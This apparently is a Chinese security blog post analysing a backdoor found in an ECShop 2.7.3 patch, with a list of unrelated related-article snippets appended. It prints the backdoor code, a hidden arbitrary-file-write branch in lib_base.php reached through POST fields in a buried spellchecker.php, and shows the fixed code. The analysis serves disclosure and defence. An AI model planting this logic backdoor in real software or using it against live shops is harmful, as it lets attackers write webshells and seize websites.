ecshop /includes/lib_base.php、/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php Backdoor Vul

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

ECShop是国内一款流行的网店管理系统软件,其2.7.3版本某个补丁存在后门文件,攻击者利用后门可以控制网站

Relevant Link:

http://sebug.net/vuldb/ssvid-62379

2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析

/includes/lib_base.php

//隐藏了逻辑型WEBSHELL后门
function write_static_cache($cache_name,$caches,$newname,$newfile)
{
    if (!empty($cache_name))
    {
        if ((DEBUG_MODE & 2) == 2)
        {
            return false;
        }
        $cache_file_path = ROOT_PATH . ‘/temp/static_caches/‘ . $cache_name . ‘.php‘;
        $content = "<?php\r\n";
        $content .= "\$data = " . var_export($caches, true) . ";\r\n";
        $content .= "?>";
        file_put_contents($cache_file_path, $content, LOCK_EX);
    }
    //任意写入任意文件
    else
    {
        @file_put_contents($newfile, $newname);
    }
}

/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php

//黑客将攻击入口放在了一个较深的目录下,避免被管理员发现
$newname = $_POST[‘newname‘];
$newfile = $_POST[‘newfile‘];
//提交POST请求后,可以任意写入文件
write_static_cache($cache_name,$caches,$newname,$newfile);

Relevant Link:

http://webscan.360.cn/vul/view/vulid/1063
http://www.2cto.com/Article/201305/213322.html

5. 防御方法

/includes/lib_base.php

function write_static_cache($cache_name, $caches)
{
    if ((DEBUG_MODE & 2) == 2)
    {
        return false;
    }
    $cache_file_path = ROOT_PATH . ‘/temp/static_caches/‘ . $cache_name . ‘.php‘;
    $content = "<?php\r\n";
    $content .= "\$data = " . var_export($caches, true) . ";\r\n";
    $content .= "?>";
    file_put_contents($cache_file_path, $content, LOCK_EX);
}
//将逻辑型后门删除

/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php

//删除如下代码
$newname = $_POST[‘newname‘];
$newfile = $_POST[‘newfile‘];
write_static_cache($cache_name,$caches,$newname,$newfile);

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

时间: 2024-08-11 13:42:26

ecshop /includes/lib_base.php、/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php Backdoor Vul的相关文章

rails 中 preload、includes、Eager load、Joins 的区别

Rails 提供了四种不同加载关联数据的方法.下面就来介绍一下. 一.Preload Preload 是以附加一条查询语句来加载关联数据的 1 User.preload(:posts).to_a 2 3 # => 4 SELECT "users".* FROM "users" 5 SELECT "posts".* FROM "posts" WHERE "posts"."user_id&quo

十一、MDT 2013 Update 1批量部署-SERVER 2012 R2 标准版的安装

11.1 导入SERVER 2012 R2 标准版操作系统,方法与WINDOWS 7类似 建立安装任务 安装任务信息显示 完成建立安装任务 11.SERVER 2012 R2 标准版操作系统安装部署 安装信息显示,可以开始安装 WINDOWS SERVER 2012 R2标准版安装完成 server 2012 r2服务器版本一样可以封装成标准镜像 开始封装以及捕获服务器操作系统镜像 完成server 2012 r2服务器操作系统镜像捕获 MDT 2013 UPDATE 1除了可以完成win 7.

用SQL语句查找包含有某个关键字的存储过程、触发器、函数等(仅适用MS SQL SERVER)

原文:用SQL语句查找包含有某个关键字的存储过程.触发器.函数等(仅适用MS SQL SERVER) 第一种方法:利用系统表进行查询 --将text替换成你要查找的内容 select name from sysobjects o, syscomments s where o.id = s.id and text like '%text%' and o.xtype = 'P' xtype:对象类型.可以是下列对象类型中的一种: C = CHECK 约束 D = 默认值或 DEFAULT 约束 F

【Ecshop】将内置的 FCkeditor 更换为 UEditor

1.下载UE,解压到includes/,更名目录名为ueditor 注意更改配置后端文件上传路径,参考文档 2.修改admin/includes/lib_main.php,添加 1 /** 2 * 生成编辑器-UEditor 3 * @param string input_name 输入框名称 4 * @param string input_value 输入框值 5 * @param string width 输入框宽度 6 * @param string height 输入框高度 7 */ 8

Ecshop 数据库操作方法getRow、getAll、getOne区别

ECShop没有使用一些开源的数据库操作类,比如adodb或者PEAR,而是封装了自己的实现.这样做的好处是实现非常轻量,大大减小了分发包的文件大小.另外,当网站需要做memcached缓存时,也可以很方便的实现. 当然,这样做的后果就是数据库的选择非常狭窄,无法实现其它的非MySQL数据库. ECShop的数据操作类文件是includes/cls_mysql.php,类名是cls_mysql. 该类主要提供了下面 一些比较有用的方法: getAll($sql)和getAllCached($sq

easyui datagrid 动态加入、移除editor

使用easyui 行编辑的时候完毕编辑的功能比較简单,可是假设要依据一个框的值动态改变别的值或者编辑的时候禁用某个框的时候就比較麻烦了. 比方像以下这样:加入行的时候每一个值都是手动输入,改动的时候第一个值不能改动.我们来看下怎么实现这种效果. easyui本身是不提供这么细节的功能的.须要我们自己拓展下: 在编辑的时候移除第一列的editor属性,加入的时候,加入第一列的属性. //扩展datagrid:动态加入删除editor $.extend($.fn.datagrid.methods,

rhel、centos、fedora使用yum安装mysql community server

在mysql官方链接中下载redhat系列的相应版本的升级包: http://dev.mysql.com/downloads/repo/yum/ redhat中root用户执行:rpm -Uvh mysql-community-release-el****.noarch.rpm 查看支持升级安装的mysql版本: [[email protected] ~]# yum repolist all | grep mysql mysql-connectors-community        MySQL

Hue - Oozie Editor: Retrying connect to server: localhost/127.0.0.1:8050 的错误解决方法

本文原文出处: 严禁任何形式的转载,否则将委托CSDN官方维护权益! 问题描述 在当前版本的HUE(2.6.1-2)里,oozie editor存在一个糟糕的BUG: 用户无法在workflow的配置中指定${jobTracker}和${nameNode}的值,尽管我尝试了所有可以尝试的地方,但是当通过hue去submit(不是通过oozie的命令行)一个workflow时,${jobTracker}和${nameNode}的值都被无情的重置了!如果这两个属性的值刚好是正确的,那么自然相安无事,

第五节:SignalR大杂烩(与MVC融合、全局的几个配置、跨域的应用、C/S程序充当Client和Server)

一. 说在前面的话 本节主要在前面章节的基础上补充了几个简单的知识点,比如:第三方调用通过 GlobalHost.ConnectionManager.GetHubContext<MySpecHub1>();来获取Hub对象,那么能不能封装一下不必每次都这么获取呢?再比如SignalR传输是否有大小限制,一下传输10w个字能否传输成功?最后着重整理一下跨域的各种使用情况,结合C/S程序充当客户端和服务器端. 本节内容包括: ①. SignalR与MVC或者WebApi简单的整合. ②. 全局的几